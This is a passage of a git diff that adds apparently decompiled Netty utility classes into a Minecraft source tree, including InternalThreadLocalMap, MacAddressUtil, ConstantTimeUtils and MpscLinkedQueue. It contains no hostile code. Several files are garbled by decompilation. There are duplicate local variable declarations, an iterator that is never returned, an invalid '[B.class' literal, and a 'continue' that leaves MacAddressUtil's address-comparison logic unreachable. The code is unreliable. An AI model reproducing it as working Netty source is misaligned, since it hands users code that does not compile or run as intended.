+      }
+    }
+    catch (Throwable t) {}
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/ConcurrentSet.java b/src/minecraft/io/netty/util/internal/ConcurrentSet.java
new file mode 100644
index 0000000..621ac33
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ConcurrentSet.java
@@ -0,0 +1,65 @@
+package io.netty.util.internal;
+
+import java.io.Serializable;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ConcurrentSet<E>
+  extends AbstractSet<E>
+  implements Serializable
+{
+  private static final long serialVersionUID = -6761513279741915432L;
+  private final ConcurrentMap<E, Boolean> map;
+  
+  public ConcurrentSet()
+  {
+    map = PlatformDependent.newConcurrentHashMap();
+  }
+  
+  public int size()
+  {
+    return map.size();
+  }
+  
+  public boolean contains(Object o)
+  {
+    return map.containsKey(o);
+  }
+  
+  public boolean add(E o)
+  {
+    return map.putIfAbsent(o, Boolean.TRUE) == null;
+  }
+  
+  public boolean remove(Object o)
+  {
+    return map.remove(o) != null;
+  }
+  
+  public void clear()
+  {
+    map.clear();
+  }
+  
+  public Iterator<E> iterator()
+  {
+    return map.keySet().iterator();
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/ConstantTimeUtils.java b/src/minecraft/io/netty/util/internal/ConstantTimeUtils.java
new file mode 100644
index 0000000..f0690dc
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/ConstantTimeUtils.java
@@ -0,0 +1,131 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ConstantTimeUtils
+{
+  private ConstantTimeUtils() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int equalsConstantTime(int x, int y)
+  {
+    int z = 0xFFFFFFFF ^ x ^ y;
+    z &= z >> 16;
+    z &= z >> 8;
+    z &= z >> 4;
+    z &= z >> 2;
+    z &= z >> 1;
+    return z & 0x1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int equalsConstantTime(long x, long y)
+  {
+    long z = 0xFFFFFFFFFFFFFFFF ^ x ^ y;
+    z &= z >> 32;
+    z &= z >> 16;
+    z &= z >> 8;
+    z &= z >> 4;
+    z &= z >> 2;
+    z &= z >> 1;
+    return (int)(z & 1L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int equalsConstantTime(byte[] bytes1, int startPos1, byte[] bytes2, int startPos2, int length)
+  {
+    int b = 0;
+    int end = startPos1 + length;
+    int i = startPos1; for (int j = startPos2; i < end; j++) {
+      b |= bytes1[i] ^ bytes2[j];i++;
+    }
+    return equalsConstantTime(b, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int equalsConstantTime(CharSequence s1, CharSequence s2)
+  {
+    if (s1.length() != s2.length()) {
+      return 0;
+    }
+    
+
+    int c = 0;
+    for (int i = 0; i < s1.length(); i++) {
+      c |= s1.charAt(i) ^ s2.charAt(i);
+    }
+    return equalsConstantTime(c, 0);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/EmptyArrays.java b/src/minecraft/io/netty/util/internal/EmptyArrays.java
new file mode 100644
index 0000000..679d6e5
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/EmptyArrays.java
@@ -0,0 +1,39 @@
+package io.netty.util.internal;
+
+import java.nio.ByteBuffer;
+import java.security.cert.X509Certificate;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EmptyArrays
+{
+  public static final byte[] EMPTY_BYTES = new byte[0];
+  public static final boolean[] EMPTY_BOOLEANS = new boolean[0];
+  public static final double[] EMPTY_DOUBLES = new double[0];
+  public static final float[] EMPTY_FLOATS = new float[0];
+  public static final int[] EMPTY_INTS = new int[0];
+  public static final short[] EMPTY_SHORTS = new short[0];
+  public static final long[] EMPTY_LONGS = new long[0];
+  public static final Object[] EMPTY_OBJECTS = new Object[0];
+  public static final Class<?>[] EMPTY_CLASSES = new Class[0];
+  public static final String[] EMPTY_STRINGS = new String[0];
+  public static final StackTraceElement[] EMPTY_STACK_TRACE = new StackTraceElement[0];
+  public static final ByteBuffer[] EMPTY_BYTE_BUFFERS = new ByteBuffer[0];
+  public static final X509Certificate[] EMPTY_X509_CERTIFICATES = new X509Certificate[0];
+  
+  private EmptyArrays() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/IntegerHolder.java b/src/minecraft/io/netty/util/internal/IntegerHolder.java
new file mode 100644
index 0000000..a9bd91c
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/IntegerHolder.java
@@ -0,0 +1,8 @@
+package io.netty.util.internal;
+
+public final class IntegerHolder
+{
+  public int value;
+  
+  public IntegerHolder() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/InternalThreadLocalMap.java b/src/minecraft/io/netty/util/internal/InternalThreadLocalMap.java
new file mode 100644
index 0000000..dd7199f
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/InternalThreadLocalMap.java
@@ -0,0 +1,310 @@
+package io.netty.util.internal;
+
+import io.netty.util.concurrent.FastThreadLocalThread;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.util.Arrays;
+import java.util.IdentityHashMap;
+import java.util.Map;
+import java.util.WeakHashMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class InternalThreadLocalMap
+  extends UnpaddedInternalThreadLocalMap
+{
+  public static final Object UNSET = new Object();
+  public long rp1;
+  
+  public static InternalThreadLocalMap getIfSet() { Thread thread = Thread.currentThread();
+    InternalThreadLocalMap threadLocalMap;
+    InternalThreadLocalMap threadLocalMap; if ((thread instanceof FastThreadLocalThread)) {
+      threadLocalMap = ((FastThreadLocalThread)thread).threadLocalMap();
+    } else {
+      ThreadLocal<InternalThreadLocalMap> slowThreadLocalMap = UnpaddedInternalThreadLocalMap.slowThreadLocalMap;
+      InternalThreadLocalMap threadLocalMap; if (slowThreadLocalMap == null) {
+        threadLocalMap = null;
+      } else {
+        threadLocalMap = (InternalThreadLocalMap)slowThreadLocalMap.get();
+      }
+    }
+    return threadLocalMap; }
+  
+  public long rp2;
+  
+  public static InternalThreadLocalMap get() { Thread thread = Thread.currentThread();
+    if ((thread instanceof FastThreadLocalThread)) {
+      return fastGet((FastThreadLocalThread)thread);
+    }
+    return slowGet();
+  }
+  
+  public long rp3;
+  public long rp4;
+  private static InternalThreadLocalMap fastGet(FastThreadLocalThread thread) { InternalThreadLocalMap threadLocalMap = thread.threadLocalMap();
+    if (threadLocalMap == null) {
+      thread.setThreadLocalMap(threadLocalMap = new InternalThreadLocalMap());
+    }
+    return threadLocalMap;
+  }
+  
+  private static InternalThreadLocalMap slowGet() {
+    ThreadLocal<InternalThreadLocalMap> slowThreadLocalMap = UnpaddedInternalThreadLocalMap.slowThreadLocalMap;
+    if (slowThreadLocalMap == null) {
+      UnpaddedInternalThreadLocalMap.slowThreadLocalMap = slowThreadLocalMap = new ThreadLocal();
+    }
+    
+
+    InternalThreadLocalMap ret = (InternalThreadLocalMap)slowThreadLocalMap.get();
+    if (ret == null) {
+      ret = new InternalThreadLocalMap();
+      slowThreadLocalMap.set(ret);
+    }
+    return ret;
+  }
+  
+  public static void remove() {
+    Thread thread = Thread.currentThread();
+    if ((thread instanceof FastThreadLocalThread)) {
+      ((FastThreadLocalThread)thread).setThreadLocalMap(null);
+    } else {
+      ThreadLocal<InternalThreadLocalMap> slowThreadLocalMap = UnpaddedInternalThreadLocalMap.slowThreadLocalMap;
+      if (slowThreadLocalMap != null) {
+        slowThreadLocalMap.remove();
+      }
+    }
+  }
+  
+  public static void destroy() {
+    slowThreadLocalMap = null;
+  }
+  
+  public static int nextVariableIndex() {
+    int index = nextIndex.getAndIncrement();
+    if (index < 0) {
+      nextIndex.decrementAndGet();
+      throw new IllegalStateException("too many thread-local indexed variables");
+    }
+    return index;
+  }
+  
+  public static int lastVariableIndex() {
+    return nextIndex.get() - 1;
+  }
+  
+  public long rp5;
+  public long rp6;
+  public long rp7;
+  public long rp8;
+  public long rp9;
+  private InternalThreadLocalMap() { super(newIndexedVariableTable()); }
+  
+
+  private static Object[] newIndexedVariableTable() {
+    Object[] array = new Object[32];
+    Arrays.fill(array, UNSET);
+    return array;
+  }
+  
+  public int size() {
+    int count = 0;
+    
+    if (futureListenerStackDepth != 0) {
+      count++;
+    }
+    if (localChannelReaderStackDepth != 0) {
+      count++;
+    }
+    if (handlerSharableCache != null) {
+      count++;
+    }
+    if (counterHashCode != null) {
+      count++;
+    }
+    if (random != null) {
+      count++;
+    }
+    if (typeParameterMatcherGetCache != null) {
+      count++;
+    }
+    if (typeParameterMatcherFindCache != null) {
+      count++;
+    }
+    if (stringBuilder != null) {
+      count++;
+    }
+    if (charsetEncoderCache != null) {
+      count++;
+    }
+    if (charsetDecoderCache != null) {
+      count++;
+    }
+    
+    for (Object o : indexedVariables) {
+      if (o != UNSET) {
+        count++;
+      }
+    }
+    
+
+
+    return count - 1;
+  }
+  
+  public StringBuilder stringBuilder() {
+    StringBuilder builder = stringBuilder;
+    if (builder == null) {
+      stringBuilder = (builder = new StringBuilder(512));
+    } else {
+      builder.setLength(0);
+    }
+    return builder;
+  }
+  
+  public Map<Charset, CharsetEncoder> charsetEncoderCache() {
+    Map<Charset, CharsetEncoder> cache = charsetEncoderCache;
+    if (cache == null) {
+      charsetEncoderCache = (cache = new IdentityHashMap());
+    }
+    return cache;
+  }
+  
+  public Map<Charset, CharsetDecoder> charsetDecoderCache() {
+    Map<Charset, CharsetDecoder> cache = charsetDecoderCache;
+    if (cache == null) {
+      charsetDecoderCache = (cache = new IdentityHashMap());
+    }
+    return cache;
+  }
+  
+  public int futureListenerStackDepth() {
+    return futureListenerStackDepth;
+  }
+  
+  public void setFutureListenerStackDepth(int futureListenerStackDepth) {
+    this.futureListenerStackDepth = futureListenerStackDepth;
+  }
+  
+  public ThreadLocalRandom random() {
+    ThreadLocalRandom r = random;
+    if (r == null) {
+      random = (r = new ThreadLocalRandom());
+    }
+    return r;
+  }
+  
+  public Map<Class<?>, TypeParameterMatcher> typeParameterMatcherGetCache() {
+    Map<Class<?>, TypeParameterMatcher> cache = typeParameterMatcherGetCache;
+    if (cache == null) {
+      typeParameterMatcherGetCache = (cache = new IdentityHashMap());
+    }
+    return cache;
+  }
+  
+  public Map<Class<?>, Map<String, TypeParameterMatcher>> typeParameterMatcherFindCache() {
+    Map<Class<?>, Map<String, TypeParameterMatcher>> cache = typeParameterMatcherFindCache;
+    if (cache == null) {
+      typeParameterMatcherFindCache = (cache = new IdentityHashMap());
+    }
+    return cache;
+  }
+  
+  public IntegerHolder counterHashCode() {
+    return counterHashCode;
+  }
+  
+  public void setCounterHashCode(IntegerHolder counterHashCode) {
+    this.counterHashCode = counterHashCode;
+  }
+  
+  public Map<Class<?>, Boolean> handlerSharableCache() {
+    Map<Class<?>, Boolean> cache = handlerSharableCache;
+    if (cache == null)
+    {
+      handlerSharableCache = (cache = new WeakHashMap(4));
+    }
+    return cache;
+  }
+  
+  public int localChannelReaderStackDepth() {
+    return localChannelReaderStackDepth;
+  }
+  
+  public void setLocalChannelReaderStackDepth(int localChannelReaderStackDepth) {
+    this.localChannelReaderStackDepth = localChannelReaderStackDepth;
+  }
+  
+  public Object indexedVariable(int index) {
+    Object[] lookup = indexedVariables;
+    return index < lookup.length ? lookup[index] : UNSET;
+  }
+  
+
+
+  public boolean setIndexedVariable(int index, Object value)
+  {
+    Object[] lookup = indexedVariables;
+    if (index < lookup.length) {
+      Object oldValue = lookup[index];
+      lookup[index] = value;
+      return oldValue == UNSET;
+    }
+    expandIndexedVariableTableAndSet(index, value);
+    return true;
+  }
+  
+  private void expandIndexedVariableTableAndSet(int index, Object value)
+  {
+    Object[] oldArray = indexedVariables;
+    int oldCapacity = oldArray.length;
+    int newCapacity = index;
+    newCapacity |= newCapacity >>> 1;
+    newCapacity |= newCapacity >>> 2;
+    newCapacity |= newCapacity >>> 4;
+    newCapacity |= newCapacity >>> 8;
+    newCapacity |= newCapacity >>> 16;
+    newCapacity++;
+    
+    Object[] newArray = Arrays.copyOf(oldArray, newCapacity);
+    Arrays.fill(newArray, oldCapacity, newArray.length, UNSET);
+    newArray[index] = value;
+    indexedVariables = newArray;
+  }
+  
+  public Object removeIndexedVariable(int index) {
+    Object[] lookup = indexedVariables;
+    if (index < lookup.length) {
+      Object v = lookup[index];
+      lookup[index] = UNSET;
+      return v;
+    }
+    return UNSET;
+  }
+  
+  public boolean isIndexedVariableSet(int index)
+  {
+    Object[] lookup = indexedVariables;
+    return (index < lookup.length) && (lookup[index] != UNSET);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/JavassistTypeParameterMatcherGenerator.java b/src/minecraft/io/netty/util/internal/JavassistTypeParameterMatcherGenerator.java
new file mode 100644
index 0000000..cd2bd04
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/JavassistTypeParameterMatcherGenerator.java
@@ -0,0 +1,99 @@
+package io.netty.util.internal;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.lang.reflect.Method;
+import javassist.ClassClassPath;
+import javassist.ClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import javassist.NotFoundException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JavassistTypeParameterMatcherGenerator
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(JavassistTypeParameterMatcherGenerator.class);
+  
+
+  private static final ClassPool classPool = new ClassPool(true);
+  
+  static {
+    classPool.appendClassPath(new ClassClassPath(NoOpTypeParameterMatcher.class));
+  }
+  
+  public static void appendClassPath(ClassPath classpath) {
+    classPool.appendClassPath(classpath);
+  }
+  
+  public static void appendClassPath(String pathname) throws NotFoundException {
+    classPool.appendClassPath(pathname);
+  }
+  
+  public static TypeParameterMatcher generate(Class<?> type) {
+    ClassLoader classLoader = PlatformDependent.getContextClassLoader();
+    if (classLoader == null) {
+      classLoader = PlatformDependent.getSystemClassLoader();
+    }
+    return generate(type, classLoader);
+  }
+  
+  public static TypeParameterMatcher generate(Class<?> type, ClassLoader classLoader) {
+    String typeName = typeName(type);
+    String className = "io.netty.util.internal.__matchers__." + typeName + "Matcher";
+    try
+    {
+      return (TypeParameterMatcher)Class.forName(className, true, classLoader).newInstance();
+
+    }
+    catch (Exception e)
+    {
+      CtClass c = classPool.getAndRename(NoOpTypeParameterMatcher.class.getName(), className);
+      c.setModifiers(c.getModifiers() | 0x10);
+      c.getDeclaredMethod("match").setBody("{ return $1 instanceof " + typeName + "; }");
+      byte[] byteCode = c.toBytecode();
+      c.detach();
+      Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { String.class, [B.class, Integer.TYPE, Integer.TYPE });
+      
+      method.setAccessible(true);
+      
+      Class<?> generated = (Class)method.invoke(classLoader, new Object[] { className, byteCode, Integer.valueOf(0), Integer.valueOf(byteCode.length) });
+      if (type != Object.class) {
+        logger.debug("Generated: {}", generated.getName());
+      }
+      
+
+      return (TypeParameterMatcher)generated.newInstance();
+    } catch (RuntimeException e) {
+      throw e;
+    } catch (Exception e) {
+      throw new RuntimeException(e);
+    }
+  }
+  
+  private static String typeName(Class<?> type) {
+    if (type.isArray()) {
+      return typeName(type.getComponentType()) + "[]";
+    }
+    
+    return type.getName();
+  }
+  
+  private JavassistTypeParameterMatcherGenerator() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/LongCounter.java b/src/minecraft/io/netty/util/internal/LongCounter.java
new file mode 100644
index 0000000..3e8c8b9
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/LongCounter.java
@@ -0,0 +1,12 @@
+package io.netty.util.internal;
+
+public abstract interface LongCounter
+{
+  public abstract void add(long paramLong);
+  
+  public abstract void increment();
+  
+  public abstract void decrement();
+  
+  public abstract long value();
+}
diff --git a/src/minecraft/io/netty/util/internal/MacAddressUtil.java b/src/minecraft/io/netty/util/internal/MacAddressUtil.java
new file mode 100644
index 0000000..8dbd98d
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MacAddressUtil.java
@@ -0,0 +1,221 @@
+package io.netty.util.internal;
+
+import io.netty.util.NetUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.net.SocketException;
+import java.util.Arrays;
+import java.util.Enumeration;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MacAddressUtil
+{
+  public static final int MAC_ADDRESS_LENGTH = 8;
+  private static final byte[] NOT_FOUND = { -1 };
+  
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(MacAddressUtil.class);
+  
+
+
+
+
+
+
+
+  public static byte[] bestAvailableMac()
+  {
+    byte[] bestMacAddr = NOT_FOUND;
+    InetAddress bestInetAddr = NetUtil.LOCALHOST4;
+    
+
+    Map<NetworkInterface, InetAddress> ifaces = new LinkedHashMap();
+    try {
+      for (i = NetworkInterface.getNetworkInterfaces(); i.hasMoreElements();) {
+        NetworkInterface iface = (NetworkInterface)i.nextElement();
+        
+        Enumeration<InetAddress> addrs = iface.getInetAddresses();
+        if (addrs.hasMoreElements()) {
+          InetAddress a = (InetAddress)addrs.nextElement();
+          if (!a.isLoopbackAddress())
+            ifaces.put(iface, a);
+        }
+      }
+    } catch (SocketException e) {
+      Enumeration<NetworkInterface> i;
+      logger.warn("Failed to retrieve the list of available network interfaces", e);
+    }
+    
+    for (Map.Entry<NetworkInterface, InetAddress> entry : ifaces.entrySet()) {
+      NetworkInterface iface = (NetworkInterface)entry.getKey();
+      InetAddress inetAddr = (InetAddress)entry.getValue();
+      if (!iface.isVirtual())
+      {
+
+        try
+        {
+
+          macAddr = iface.getHardwareAddress();
+        } catch (SocketException e) { byte[] macAddr;
+          logger.debug("Failed to get the hardware address of a network interface: {}", iface, e); }
+        continue;
+        
+        byte[] macAddr;
+        boolean replace = false;
+        int res = compareAddresses(bestMacAddr, macAddr);
+        if (res < 0)
+        {
+          replace = true;
+        } else if (res == 0)
+        {
+          res = compareAddresses(bestInetAddr, inetAddr);
+          if (res < 0)
+          {
+            replace = true;
+          } else if (res == 0)
+          {
+            if (bestMacAddr.length < macAddr.length) {
+              replace = true;
+            }
+          }
+        }
+        
+        if (replace) {
+          bestMacAddr = macAddr;
+          bestInetAddr = inetAddr;
+        }
+      }
+    }
+    if (bestMacAddr == NOT_FOUND) {
+      return null;
+    }
+    
+    switch (bestMacAddr.length) {
+    case 6: 
+      byte[] newAddr = new byte[8];
+      System.arraycopy(bestMacAddr, 0, newAddr, 0, 3);
+      newAddr[3] = -1;
+      newAddr[4] = -2;
+      System.arraycopy(bestMacAddr, 3, newAddr, 5, 3);
+      bestMacAddr = newAddr;
+      break;
+    default: 
+      bestMacAddr = Arrays.copyOf(bestMacAddr, 8);
+    }
+    
+    return bestMacAddr;
+  }
+  
+
+
+
+  public static String formatAddress(byte[] addr)
+  {
+    StringBuilder buf = new StringBuilder(24);
+    for (byte b : addr) {
+      buf.append(String.format("%02x:", new Object[] { Integer.valueOf(b & 0xFF) }));
+    }
+    return buf.substring(0, buf.length() - 1);
+  }
+  
+
+
+  private static int compareAddresses(byte[] current, byte[] candidate)
+  {
+    if (candidate == null) {
+      return 1;
+    }
+    
+
+    if (candidate.length < 6) {
+      return 1;
+    }
+    
+
+    boolean onlyZeroAndOne = true;
+    for (byte b : candidate) {
+      if ((b != 0) && (b != 1)) {
+        onlyZeroAndOne = false;
+        break;
+      }
+    }
+    
+    if (onlyZeroAndOne) {
+      return 1;
+    }
+    
+
+    if ((candidate[0] & 0x1) != 0) {
+      return 1;
+    }
+    
+
+    if ((current[0] & 0x2) == 0) {
+      if ((candidate[0] & 0x2) == 0)
+      {
+        return 0;
+      }
+      
+      return 1;
+    }
+    
+    if ((candidate[0] & 0x2) == 0)
+    {
+      return -1;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+  private static int compareAddresses(InetAddress current, InetAddress candidate)
+  {
+    return scoreAddress(current) - scoreAddress(candidate);
+  }
+  
+  private static int scoreAddress(InetAddress addr) {
+    if ((addr.isAnyLocalAddress()) || (addr.isLoopbackAddress())) {
+      return 0;
+    }
+    if (addr.isMulticastAddress()) {
+      return 1;
+    }
+    if (addr.isLinkLocalAddress()) {
+      return 2;
+    }
+    if (addr.isSiteLocalAddress()) {
+      return 3;
+    }
+    
+    return 4;
+  }
+  
+  private MacAddressUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/MathUtil.java b/src/minecraft/io/netty/util/internal/MathUtil.java
new file mode 100644
index 0000000..5bffcf1
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MathUtil.java
@@ -0,0 +1,81 @@
+package io.netty.util.internal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MathUtil
+{
+  private MathUtil() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int findNextPositivePowerOfTwo(int value)
+  {
+    assert ((value > Integer.MIN_VALUE) && (value < 1073741824));
+    return 1 << 32 - Integer.numberOfLeadingZeros(value - 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static int safeFindNextPositivePowerOfTwo(int value)
+  {
+    return value >= 1073741824 ? 1073741824 : value <= 0 ? 1 : findNextPositivePowerOfTwo(value);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isOutOfBounds(int index, int length, int capacity)
+  {
+    return (index | length | index + length | capacity - (index + length)) < 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int compare(long x, long y)
+  {
+    return x > y ? 1 : x < y ? -1 : 0;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueue.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueue.java
new file mode 100644
index 0000000..c8ae8ff
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueue.java
@@ -0,0 +1,397 @@
+package io.netty.util.internal;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Array;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class MpscLinkedQueue<E>
+  extends MpscLinkedQueueTailRef<E>
+  implements Queue<E>
+{
+  private static final long serialVersionUID = -1878402552271506449L;
+  long p00;
+  long p01;
+  long p02;
+  long p03;
+  long p04;
+  long p05;
+  long p06;
+  long p07;
+  long p30;
+  long p31;
+  long p32;
+  long p33;
+  long p34;
+  long p35;
+  long p36;
+  long p37;
+  
+  MpscLinkedQueue()
+  {
+    MpscLinkedQueueNode<E> tombstone = new DefaultNode(null);
+    setHeadRef(tombstone);
+    setTailRef(tombstone);
+  }
+  
+
+  private MpscLinkedQueueNode<E> peekNode()
+  {
+    for (;;)
+    {
+      MpscLinkedQueueNode<E> head = headRef();
+      MpscLinkedQueueNode<E> next = head.next();
+      if (next != null) {
+        return next;
+      }
+      if (head == tailRef()) {
+        return null;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean offer(E value)
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    
+    MpscLinkedQueueNode<E> newTail;
+    if ((value instanceof MpscLinkedQueueNode)) {
+      MpscLinkedQueueNode<E> newTail = (MpscLinkedQueueNode)value;
+      newTail.setNext(null);
+    } else {
+      newTail = new DefaultNode(value);
+    }
+    
+    MpscLinkedQueueNode<E> oldTail = getAndSetTailRef(newTail);
+    oldTail.setNext(newTail);
+    return true;
+  }
+  
+  public E poll()
+  {
+    MpscLinkedQueueNode<E> next = peekNode();
+    if (next == null) {
+      return null;
+    }
+    
+
+    MpscLinkedQueueNode<E> oldHead = headRef();
+    
+
+
+    lazySetHeadRef(next);
+    
+
+    oldHead.unlink();
+    
+    return next.clearMaybe();
+  }
+  
+  public E peek()
+  {
+    MpscLinkedQueueNode<E> next = peekNode();
+    if (next == null) {
+      return null;
+    }
+    return next.value();
+  }
+  
+  public int size()
+  {
+    int count = 0;
+    MpscLinkedQueueNode<E> n = peekNode();
+    
+    while (n != null)
+    {
+
+      count++;
+      n = n.next();
+    }
+    return count;
+  }
+  
+  public boolean isEmpty()
+  {
+    return peekNode() == null;
+  }
+  
+  public boolean contains(Object o)
+  {
+    MpscLinkedQueueNode<E> n = peekNode();
+    
+    while (n != null)
+    {
+
+      if (n.value() == o) {
+        return true;
+      }
+      n = n.next();
+    }
+    return false;
+  }
+  
+  public Iterator<E> iterator()
+  {
+    new Iterator() {
+      private MpscLinkedQueueNode<E> node = MpscLinkedQueue.this.peekNode();
+      
+      public boolean hasNext()
+      {
+        return node != null;
+      }
+      
+      public E next()
+      {
+        MpscLinkedQueueNode<E> node = this.node;
+        if (node == null) {
+          throw new NoSuchElementException();
+        }
+        E value = node.value();
+        this.node = node.next();
+        return value;
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException();
+      }
+    };
+  }
+  
+  public boolean add(E e)
+  {
+    if (offer(e)) {
+      return true;
+    }
+    throw new IllegalStateException("queue full");
+  }
+  
+  public E remove()
+  {
+    E e = poll();
+    if (e != null) {
+      return e;
+    }
+    throw new NoSuchElementException();
+  }
+  
+  public E element()
+  {
+    E e = peek();
+    if (e != null) {
+      return e;
+    }
+    throw new NoSuchElementException();
+  }
+  
+  public Object[] toArray()
+  {
+    Object[] array = new Object[size()];
+    Iterator<E> it = iterator();
+    for (int i = 0; i < array.length; i++) {
+      if (it.hasNext()) {
+        array[i] = it.next();
+      } else {
+        return Arrays.copyOf(array, i);
+      }
+    }
+    return array;
+  }
+  
+
+  public <T> T[] toArray(T[] a)
+  {
+    int size = size();
+    T[] array;
+    T[] array; if (a.length >= size) {
+      array = a;
+    } else {
+      array = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+    Iterator<E> it = iterator();
+    for (int i = 0; i < array.length; i++) {
+      if (it.hasNext()) {
+        array[i] = it.next();
+      } else {
+        if (a == array) {
+          array[i] = null;
+          return array;
+        }
+        
+        if (a.length < i) {
+          return Arrays.copyOf(array, i);
+        }
+        
+        System.arraycopy(array, 0, a, 0, i);
+        if (a.length > i) {
+          a[i] = null;
+        }
+        return a;
+      }
+    }
+    return array;
+  }
+  
+  public boolean remove(Object o)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean containsAll(Collection<?> c)
+  {
+    for (Object e : c) {
+      if (!contains(e)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean addAll(Collection<? extends E> c)
+  {
+    if (c == null) {
+      throw new NullPointerException("c");
+    }
+    if (c == this) {
+      throw new IllegalArgumentException("c == this");
+    }
+    
+    boolean modified = false;
+    for (E e : c) {
+      add(e);
+      modified = true;
+    }
+    return modified;
+  }
+  
+  public boolean removeAll(Collection<?> c)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean retainAll(Collection<?> c)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void clear()
+  {
+    while (poll() != null) {}
+  }
+  
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    out.defaultWriteObject();
+    for (E e : this) {
+      out.writeObject(e);
+    }
+    out.writeObject(null);
+  }
+  
+  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+    in.defaultReadObject();
+    
+    MpscLinkedQueueNode<E> tombstone = new DefaultNode(null);
+    setHeadRef(tombstone);
+    setTailRef(tombstone);
+    
+    for (;;)
+    {
+      E e = in.readObject();
+      if (e == null) {
+        break;
+      }
+      add(e);
+    }
+  }
+  
+  private static final class DefaultNode<T> extends MpscLinkedQueueNode<T>
+  {
+    private T value;
+    
+    DefaultNode(T value) {
+      this.value = value;
+    }
+    
+    public T value()
+    {
+      return value;
+    }
+    
+    protected T clearMaybe()
+    {
+      T value = this.value;
+      this.value = null;
+      return value;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/MpscLinkedQueueHeadRef.java b/src/minecraft/io/netty/util/internal/MpscLinkedQueueHeadRef.java
new file mode 100644
index 0000000..eea39a2
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/MpscLinkedQueueHeadRef.java
@@ -0,0 +1,56 @@
+package io.netty.util.internal;
+
+import java.io.Serializable;
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class MpscLinkedQueueHeadRef<E>
+  extends MpscLinkedQueuePad0<E>
+  implements Serializable
+{
+  private static final long serialVersionUID = 8467054865577874285L;
+  private static final AtomicReferenceFieldUpdater<MpscLinkedQueueHeadRef, MpscLinkedQueueNode> UPDATER;
+  private volatile transient MpscLinkedQueueNode<E> headRef;
+  
+  static
+  {
+    AtomicReferenceFieldUpdater<MpscLinkedQueueHeadRef, MpscLinkedQueueNode> updater = PlatformDependent.newAtomicReferenceFieldUpdater(MpscLinkedQueueHeadRef.class, "headRef");
+    if (updater == null) {
+      updater = AtomicReferenceFieldUpdater.newUpdater(MpscLinkedQueueHeadRef.class, MpscLinkedQueueNode.class, "headRef");
+    }
+    
